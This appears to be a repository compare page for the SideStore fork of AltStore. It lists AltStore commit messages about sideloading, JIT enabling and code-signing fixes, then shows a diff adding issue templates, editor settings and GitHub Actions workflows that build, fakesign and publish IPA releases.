2021-10-04 16:27:00 -07:00
Riley Testut
d5563aafba Embed ALTServerID in Info.plist if app uses AltKit 2021-10-04 16:06:32 -07:00
Riley Testut
c89c244225 Fixes invalid code signature on iOS 15.1 2021-10-04 16:02:20 -07:00
Riley Testut
08e540e12f [Apps] Updates AltStore beta to 1.5b 2021-10-04 16:01:22 -07:00
Riley Testut
2849eebb28 [AltServer] Fixes potential crash due to race condition when device is disconnected
Simultaneously updating WiredConnectionHandler.notificationConnections can cause a crash, so we enforce serial access to notificationConnections via DispatchQueue.
2021-10-04 15:57:23 -07:00
Riley Testut
683307b9af Prefers revoking existing AltStore certificate (if it exists) 2021-10-04 15:51:58 -07:00
Riley Testut
5231ea1c1e [AltServer] Prefers revoking existing AltStore certificate (if it exists) 2021-10-04 15:51:16 -07:00
Riley Testut
35ae81c76c [AltServer] Fixes duplicate "Revoke Development Certificate" alerts 2021-10-04 15:43:31 -07:00
Riley Testut
a4d7d94301 [AltServer] Fixes not ignoring InstallationError.cancelled when installing app
Allows InstallationError to be bridged back from NSError, which lets us match InstallationError against NSError's via pattern matching.
2021-10-04 15:36:16 -07:00
Riley Testut
44b0092b44 Changes "free developer accounts" to "non-developer Apple IDs" in app copy
Will hopefully clarify that the 3 active app limitation is due to using a non-developer Apple ID, and not because they haven't donated via Patreon.
2021-10-04 15:29:10 -07:00
Riley Testut
c6b8f69ef2 Improves ALTServerError.maximumFreeAppLimitReached error message
AltServer once again displays the list of installed sideloaded apps in error alert.
2021-10-04 15:21:57 -07:00
Riley Testut
eac35ef8f4 [AltServer] Fixes fetching anisette data on macOS 10.14 Mojave
AltXPC does not work on Mojave, so only attempt it on macOS 10.15 Catalina or later.
2021-10-04 13:21:24 -07:00
Riley Testut
e9eee50b3e Updates app version to 1.5b 2021-09-15 14:31:36 -07:00
Riley Testut
f7c797e0b0 Cancels AltBackup installation if error has already been thrown 2021-09-15 14:29:37 -07:00
Riley Testut
f9d66e0a78 Asks user to deactivate an app when installing app without available active slot
When attempting to install a new app without any active slots available, AltStore will now present an alert asking the user to choose an app to deactivate in order to continue installation — just like when activating an app without an active slot.
2021-09-15 14:27:16 -07:00
Riley Testut
a9d1d6edf5 Improves error message when authenticating with invalid anisette data
A common reason anisette data is invalid is because the host computer's date & time settings are off, so now we ask the user to check their computer's date & time in the localized recovery suggestion.
2021-09-13 15:27:40 -07:00
Riley Testut
babb2c0856 [AltServer] Fixes incorrectly parsing thread state as decimal value when enabling JIT
Thread state is hexadecimal, so we now explicitly use NSScanner to parse string as base-16.
2021-09-13 14:15:52 -07:00
Cameron Bates
0570f2cd5b [AltServer] Include ALTDeviceID on install of apps (#822)
* Add ALTDeviceID to plist file on install
* Only add if deviceid key is present

Co-authored-by: Cameron Bates <cameronbates@camerons-mbp-2.lan>
2021-09-13 14:11:53 -07:00
Riley Testut
9c72b7ae8f Adds "Enable JIT" context menu action for active apps
Allows users to manually enable JIT for apps that don't explicitly support AltKit.
2021-09-03 13:57:15 -05:00
Riley Testut
e4b0b153e5 [AltServer] Supports processName in EnableUnsignedCodeExecutionRequest
Process names will be used as a fallback if the processID cannot be determined, such as when enabling JIT for another app from within AltStore.
2021-09-02 16:03:21 -05:00
Riley Testut
3edd8d5ebe Adds "Open" context menu action for active apps
Launches the sideloaded app by opening the app-specific URL scheme embedded by AltStore during resigning.
2021-09-02 15:52:59 -05:00
Riley Testut
bf68a284bb Fixes AppViewController navigation bar + tab bar appearance on iOS 15 2021-09-02 14:49:51 -05:00
Riley Testut
978544ed3f Replaces ALTDeviceID Info.plist entry (if it exists) with correct UDID when resigning apps
Allows apps to use AltKit, which needs to know the current device's UDID to communicate with AltServer.
2021-09-01 16:48:31 -05:00
Riley Testut
98135bc5fd [AltServer] Updates app version to 1.5b7 2021-09-01 12:34:36 -05:00
Riley Testut
626924bc34 [AltServer] Updates AltPlugin to 1.6 2021-09-01 12:28:53 -05:00
Riley Testut
a0fd2b6d16 [AltPlugin] Updates version to 1.6 2021-09-01 12:06:36 -05:00
Riley Testut
44c431e9e0 [AltPlugin] Supports macOS 12.0 Monterey beta 6 2021-09-01 12:05:18 -05:00
Riley Testut
6852f892f0 [AltServer] Migrates LaunchAtLogin dependency from Carthage to SwiftPM
Fixes compiling AltServer on ARM Macs.
2021-09-01 11:58:33 -05:00
Riley Testut
ec1eaf00eb [Pods] Updates AppCenter to 4.2.0
Allows compiling AltStore for iOS simulator from an ARM Mac.
2021-07-21 13:20:14 -07:00
Riley Testut
ae0aa7dc65 [Apps] Updates AltStore to 1.4.6 2021-07-20 14:04:20 -07:00
Riley Testut
29f78c7429 Updates app version to 1.4.6 2021-07-20 14:04:11 -07:00
Riley Testut
cd8834e368 [Apps] Updates AltStore beta to 1.4.6b 2021-07-07 14:04:11 -07:00
Riley Testut
f3fc967710 [AltServer] Updates app version to 1.5b6 2021-07-07 13:56:55 -07:00
Riley Testut
7d93c64b5b [AltServer] Fixes enabling JIT on iOS 15 beta 2
vAttachName sporadically fails on iOS 15 beta 2, so we now use vAttachOrWait and manually detect whether the app is already running or not.
2021-07-07 13:54:41 -07:00
Riley Testut
d4b957db23 [AltServer] Fixes isDeveloperDiskImageMountedForDevice()
Previously, we returned YES when there was no error. Instead, we should return YES only when there’s no error _and_ the developer disk image is installed.
2021-06-24 12:56:44 -07:00
Riley Testut
d9678855a0 Updates app version to 1.4.6b 2021-06-14 12:31:40 -07:00
Riley Testut
65c01e3f6e [AltServer] Updates app version to 1.5b5
Skipping 1.5b4 to align version number with Windows AltServer (which did have a 1.5b4)
2021-06-14 12:20:39 -07:00
Riley Testut
6821cee443 [AltServer] Updates AltPlugin to 1.5 2021-06-14 12:10:35 -07:00
Riley Testut
15a12da321 [AltPlugin] Updates version to 1.5 2021-06-14 12:03:05 -07:00
Riley Testut
009d064576 [AltPlugin] Supports macOS 12.0 beta 1 2021-06-14 12:01:37 -07:00
Riley Testut
3a4e2d9f9b Fixes “unsupported code signature version” error on iOS 15 2021-06-11 11:36:30 -07:00
Riley Testut
e7afa235f7 [AltServer] Updates AltPlugin to 1.4 2021-06-04 15:07:06 -07:00
Riley Testut
edc5bd5d21 [AltPlugin] Updates version to 1.4 2021-06-04 15:07:02 -07:00
Riley Testut
c06b09e00c [AltPlugin] Supports macOS 11.4 2021-06-04 15:06:58 -07:00
Riley Testut
3eeba27191 [AltServer] Updates AltStore download URLs to use Cloudflare CDN
Workaround for Xfinity blocking connections to f000.backblazeb2.com for some users.
2021-06-04 15:06:53 -07:00
Riley Testut
c6d1a040a1 [AltServer] Updates LaunchAtLogin dependency 2021-06-04 15:06:38 -07:00
Riley Testut
558a3fc865 [AltServer] Improves error messages 2021-06-04 14:57:32 -07:00
Riley Testut
e0b50ac80c [AltServer] Handles EnableUnsignedCodeExecutionRequest
Allows sideloaded apps to connect to AltServer and enable JIT execution.
2021-06-04 14:57:32 -07:00
Riley Testut
07ef7ae18f [AltServer] Adds “Enable JIT” menu option
Allows user to enable JIT execution for any sideloaded app by starting (and immediately stopping) a debug session on device.
2021-06-04 14:57:32 -07:00
Riley Testut
d07bd33e06 [AltServer] Adds method to fetch installed apps on devices 2021-06-04 14:57:32 -07:00
Riley Testut
1616ca1c34 [AltServer] Refactors common NSMenu logic into MenuController 2021-06-04 14:56:27 -07:00
Riley Testut
52fe74fbea [AltServer] Adds ALTDebugConnection to “debug” sideloaded apps
Allows AltServer to programmatically enable JIT execution in sideloaded apps.
2021-06-04 14:56:27 -07:00
Riley Testut
8857ccbf86 [AltServer] Installs Developer disk image before installing AltStore
Allows AltServer to programmatically initiate a debug session with AltStore, which can be used to start a background refresh or enable JIT on demand.

[AltServer] Renames ALTDevice variable name
2021-06-04 14:56:27 -07:00
Riley Testut
279a290b60 [AltServer] Reads devices’ OS version during discovery 2021-06-04 14:55:50 -07:00
Riley Testut
128a3fe2f2 [AltServer] Adds methods to detect + install Developer disk images on devices 2021-06-04 14:55:50 -07:00
Riley Testut
c97acfc76c [AltServer] Adds ALTServerConnectionError to wrap libimobiledevice errors 2021-06-04 14:55:50 -07:00
Riley Testut
bc2dae1b21 [AltServer] Updates libimobiledevice dependency 2021-06-04 14:55:06 -07:00
Riley Testut
983b8ebe38 [Apps] Updates Delta to 1.3 2021-05-19 16:03:29 -07:00
Riley Testut
b6ba4640de [Apps] Updates AltStore to 1.4.5 2021-03-18 12:23:47 -07:00
Riley Testut
5214aaafe7 Updates app version to 1.4.5 2021-03-17 13:19:44 -07:00
Riley Testut
39713f95ea [Apps] Updates AltStore beta to 1.4.5b 2021-03-09 14:35:01 -06:00
Riley Testut
b88f56e185 Merge branch '1.4.5' into develop 2021-03-09 14:32:05 -06:00
Riley Testut
248444c04d Updates app version to 1.4.5b 2021-03-09 13:41:17 -06:00
Riley Testut
dbd27e6113 Fixes potential crash after failing to activate an app 2021-03-09 13:39:34 -06:00
Riley Testut
3f09a79645 Fixes (de-)activating apps deadlock
729b2a1f made all serial operations execute in FIFO order. This caused circular dependencies between BackupAppOperation and InstallAppOperation, resulting in (de-)activating apps never finishing.

Now, we ensure InstallAppOperations that are reinstalling AltStore always execute last in a context, but other serial operations may run in any order they become ready.
2021-03-09 13:13:23 -06:00
Riley Testut
98b3746b25 [Apps] Updates AltStore to 1.4.4 2021-03-05 17:28:58 -06:00
Riley Testut
07f8c38820 [Apps] Updates AltStore beta to 1.4.4b 2021-03-05 12:28:38 -06:00
Riley Testut
8393c07601 [Apps] Updates AltStore beta to 1.4.4b 2021-03-03 17:23:56 -06:00
Riley Testut
22d7595357 Merge branch '1.4.4' into develop 2021-03-03 17:22:44 -06:00
Riley Testut
2157d95c56 Fixes serial operations not running in FIFO order
Ensures AltStore is always the last app to be refreshed, which matters when AltStore needs to be resigned and reinstalled (such as when using AltDaemon on iOS 14).
2021-03-01 12:45:57 -06:00
Riley Testut
729b2a1f0d Limits iOS 14 AltDaemon workaround to only when using AltDaemon
Refreshing with AltServer while jailbroken will now continue using provisioning profiles, but AltDaemon will still reinstall apps instead of just refreshing them.
2021-03-01 12:41:33 -06:00
Riley Testut
cbcd5fbd2c Updates app version to 1.4.4 2021-02-26 21:08:31 -06:00
Riley Testut
a3318b1253 Fixes AltDaemon untrusting apps on iOS 14
Refreshing with provisioning profiles causes apps to become untrusted on iOS 14 or later. As a (hopefully) temporary workaround, we instead now always re-install apps to refresh them on iOS 14+ jailbroken devices, which does still work as expected.
2021-02-26 21:08:10 -06:00
Riley Testut
e59c7e1124 [Apps] Updates Delta beta to 1.3b4 2021-02-26 16:47:44 -06:00
Riley Testut
8dc108030d Downloads app dependencies listed in AltStore.plist
Allows apps to download additional dependencies before installation, such as plug-ins.
2021-02-26 16:47:33 -06:00
Riley Testut
6e4feecff0 Adds ALTLocalizedError.underlyingError
Allows for easily wrapping underlying errors while preserving localized descriptions.
2021-02-26 15:25:12 -06:00
Riley Testut
77c085ef1a Moves minimum iOS version check to VerifyAppOperation 2021-02-26 15:25:12 -06:00
Riley Testut
acc202031c Renames ALTLocalizedError.errorFailure to failure
Better matches LocalizedError’s failureReason, recoverySuggestion, and helpAnchor naming.
2021-02-26 15:25:10 -06:00
873 changed files with 24200 additions and 31741 deletions

39
.editorconfig Normal file
View File

@@ -0,0 +1,39 @@
# EditorConfig is awesome: https://EditorConfig.org
# top-most EditorConfig file
root = true
# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true
# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8# 4 space indentation
# Swift files
[*.swift]
indent_style = space
indent_size = 4
charset = utf-8# 4 space indentation
# 4 space indentation
[*.py]
indent_style = space
indent_size = 4
# Tab indentation (no size specified)
[Makefile]
indent_style = tab
# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2
# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

1
.github/CODEOWNERS vendored Normal file
View File

@@ -0,0 +1 @@
* @JoeMatt @lonkelle

40
.github/ISSUE_TEMPLATE/bug_report.yml vendored Normal file
View File

@@ -0,0 +1,40 @@
name: Bug Report
description: Report a bug
title: "[BUG] "
labels: ["bug"]
assignees:
- naturecodevoid
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this bug report! Before you continue filling out the report, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the bug you are experiencing** in case it has already been reported.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:
label: Describe the bug
description: What is the bug and how did you discover it?
placeholder: Please be clear and concise with your description.
validations:
required: true
- type: textarea
id: how-to-reproduce
attributes:
label: Instructions to reproduce
description: Please include clear and consistent instructions for reproducing the bug to make it easier for us to fix it.
validations:
required: true
- type: input
id: app-version
attributes:
label: What version of SideStore are you using?
description: To retrieve this, go to `Settings` in the SideStore app and scroll down to the bottom.
validations:
required: true
- type: textarea
id: other-info
attributes:
label: Other info
description: If you have any other comments, other info that might be useful, or if you found a workaround, please put it here.

10
.github/ISSUE_TEMPLATE/config.yml vendored Normal file
View File

@@ -0,0 +1,10 @@
# force issue template usage
blank_issues_enabled: false
contact_links:
- name: Discord
url: https://discord.gg/RgpFBX3Q3k
about: If you need support, please go here first instead of making an issue!
- name: GitHub Discussions
url: https://github.com/SideStore/SideStore/discussions
about: As an alternative to Discord, you can also make a new GitHub discussion.

View File

@@ -0,0 +1,33 @@
name: Feature Request
description: Suggest a feature
title: "[FEATURE REQUEST] "
labels: ["enhancement"]
assignees:
- naturecodevoid
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to fill out this feature request! Before you continue filling out the form, please **[search in GitHub Issues](https://github.com/SideStore/SideStore/issues?q=is%3Aissue+is%3Aopen) for the feature you are suggestion** in case it has already been suggested.
**Please use [Discord](https://discord.gg/RgpFBX3Q3k) or [GitHub Discussions](https://github.com/SideStore/SideStore/discussions) for support.**
- type: textarea
id: description
attributes:
label: Describe the feature
description: What is the feature? How would it work?
placeholder: Please be clear and concise with your description.
validations:
required: true
- type: textarea
id: use-cases
attributes:
label: Use cases
description: Please include multiple use cases where this feature would be useful.
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives
description: If you have alternative ideas of how this feature could work, you can put them here.

15
.github/pull_request_template.md vendored Normal file
View File

@@ -0,0 +1,15 @@
### Changes
<!-- Fill this list with what your PR changes. Example: -->
- Fix bug
- Change UI for QOL
<!-- If your PR is ready to be merged, you can remove this section. -->
### Todo before merge
<!-- Example: -->
- [x] Finish UI changes
- [ ] Test
<!-- If your PR doesn't close an issue, you can remove the next line. -->
Closes #1234

View File

@@ -0,0 +1,22 @@
name: Add artifact links to pull request and related issues
on:
workflow_run:
workflows: [Pull Request SideStore build]
types: [completed]
jobs:
artifacts-url-comments:
name: add artifact links to pull request and related issues job
runs-on: ubuntu-latest
if: ${{ github.event.workflow_run.conclusion == 'success' }}
steps:
- name: add artifact links to pull request and related issues step
uses: tonyhallett/artifacts-url-comments@v1.1.0
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
prefix: Builds for this Pull Request are available at
suffix: Have a nice day.
format: name
addTo: pull
# addTo: pullandissues

123
.github/workflows/beta.yml vendored Normal file
View File

@@ -0,0 +1,123 @@
name: Beta SideStore build
on:
push:
tags:
- '[0-9]+.[0-9]+.[0-9]+-beta.[0-9]+' # example: 1.0.0-beta.1
jobs:
build:
name: Build and upload SideStore Beta
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Change default icon to beta icon
run: sed -e 's/= Neon/= Starburst/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Enable MDC
run: make enable_mdc
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Get current date
id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in AltStore date form
id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to new beta release
uses: softprops/action-gh-release@v1
with:
token: ${{ secrets.GITHUB_TOKEN }}
name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref_name }}
draft: true
prerelease: true
files: |
SideStore.ipa
SideStore-MDC.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!**
## Changelog
- TODO
## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*

View File

@@ -0,0 +1,28 @@
#!/usr/bin/env bash
# Ensure we are in root directory
cd "$(dirname "$0")/../.."
DATE=`date -u +'%Y.%m.%d'`
BUILD_NUM=1
write() {
sed -e "/MARKETING_VERSION = .*/s/$/-nightly.$DATE.$BUILD_NUM+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
echo "$DATE,$BUILD_NUM" > .nightly-build-num
}
if [ ! -f ".nightly-build-num" ]; then
write
exit 0
fi
LAST_DATE=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $1'`
LAST_BUILD_NUM=`cat .nightly-build-num | perl -n -e '/([^,]*),([^ ]*)$/ && print $2'`
if [[ "$DATE" != "$LAST_DATE" ]]; then
write
else
BUILD_NUM=`expr $LAST_BUILD_NUM + 1`
write
fi

136
.github/workflows/nightly.yml vendored Normal file
View File

@@ -0,0 +1,136 @@
name: Nightly SideStore build
on:
push:
branches:
- develop
jobs:
build:
name: Build and upload SideStore Nightly
concurrency:
group: ${{ github.ref }}
cancel-in-progress: true
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Cache .nightly-build-num
uses: actions/cache@v3
with:
path: .nightly-build-num
key: nightly-build-num
- name: Increase nightly build number and set as version
run: bash .github/workflows/increase-nightly-build-num.sh
- name: Change default icon to nightly icon
run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Enable unstable features
run: make enable_unstable
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Enable MDC
run: make enable_mdc
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Get current date
id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in AltStore date form
id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to nightly release
uses: IsaacShelton/update-existing-release@v1.3.1
with:
token: ${{ secrets.GITHUB_TOKEN }}
release: "Nightly"
tag: "nightly"
prerelease: true
files: |
SideStore.ipa
SideStore-MDC.ipa
body: |
This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}).
Nightly builds are **extremely experimental builds only meant to be used by developers and alpha testers. They often contain bugs and experimental features. Use at your own risk!**
If you want to try out new features early but want a lower chance of bugs, you can look at [SideStore Beta](https://github.com/${{ github.repository }}/releases?q=beta).
## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*
- name: Reset cache for apps.sidestore.io/nightly
run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }}

92
.github/workflows/pr.yml vendored Normal file
View File

@@ -0,0 +1,92 @@
name: Pull Request SideStore build
on:
pull_request:
jobs:
build:
name: Build and upload SideStore
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Add PR suffix to version
run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short ${COMMIT:-HEAD})/" -i '' Build.xcconfig
env:
COMMIT: ${{ github.event.pull_request.head.sha }}
- name: Change default icon to alpha icon
run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj
- name: Enable unstable features
run: make enable_unstable
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Enable MDC
run: make enable_mdc
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*

117
.github/workflows/stable.yml vendored Normal file
View File

@@ -0,0 +1,117 @@
name: Stable SideStore build
on:
push:
tags:
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
jobs:
build:
name: Build and upload SideStore
strategy:
fail-fast: false
matrix:
include:
- os: 'macos-12'
version: '14.2'
runs-on: ${{ matrix.os }}
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
submodules: recursive
- name: Install dependencies
run: brew install ldid
- name: Change version to tag
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
- name: Get version
id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
- name: Echo version
run: echo "${{ steps.version.outputs.version }}"
- name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1
with:
xcode-version: ${{ matrix.version }}
- name: "[Normal] Build SideStore, fakesign app and convert to IPA"
run: |
make build | xcpretty
make fakesign
make ipa
- name: Enable MDC
run: make enable_mdc
- name: "[MDC] Build SideStore, fakesign app and convert to IPA"
run: |
make clean
make build DSYM_FOLDER=./MDC-dSYM | xcpretty
make fakesign
make ipa IPA_NAME=SideStore-MDC.ipa
- name: Get current date
id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in AltStore date form
id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to new stable release
uses: softprops/action-gh-release@v1
with:
token: ${{ secrets.GITHUB_TOKEN }}
name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref_name }}
draft: true
files: |
SideStore.ipa
SideStore-MDC.ipa
body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
## Changelog
- TODO
## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}`
- name: Add version to IPA file name
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
- name: Add version to MDC IPA file name
run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}.ipa
path: SideStore-${{ steps.version.outputs.version }}.ipa
- name: Upload SideStore-MDC.ipa Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa
- name: Upload dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-${{ steps.version.outputs.version }}-dSYM
path: ./dSYM/*
- name: Upload MDC-dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM
path: ./MDC-dSYM/*

20
.gitignore vendored
View File

@@ -8,7 +8,7 @@
## Build generated
build/
DerivedData
archive.xcarchive
## Various settings
*.pbxuser
!default.pbxuser
@@ -27,4 +27,20 @@ xcuserdata
*.xcscmblueprint
## Obj-C/Swift specific
*.hmap
*.hmap
/newrelic_agent.log
/CodeSigning.xcconfig
/.vscode
## AppCode specific
.idea/
Payload/
SideStore*.ipa
*dSYM
Dependencies/.*-prebuilt-fetch-*
Dependencies/minimuxer/*
Dependencies/em_proxy/*
!Dependencies/**/.gitkeep
.nightly-build-num

11
.gitmodules vendored
View File

@@ -1,12 +1,9 @@
[submodule "Dependencies/Roxas"]
path = Dependencies/Roxas
url = https://github.com/rileytestut/Roxas.git
[submodule "Dependencies/AltSign"]
path = Dependencies/AltSign
url = https://github.com/rileytestut/AltSign.git
[submodule "Dependencies/libimobiledevice"]
path = Dependencies/libimobiledevice
url = https://github.com/rileytestut/libimobiledevice.git
url = https://github.com/libimobiledevice/libimobiledevice
[submodule "Dependencies/libusbmuxd"]
path = Dependencies/libusbmuxd
url = https://github.com/libimobiledevice/libusbmuxd.git
@@ -16,3 +13,9 @@
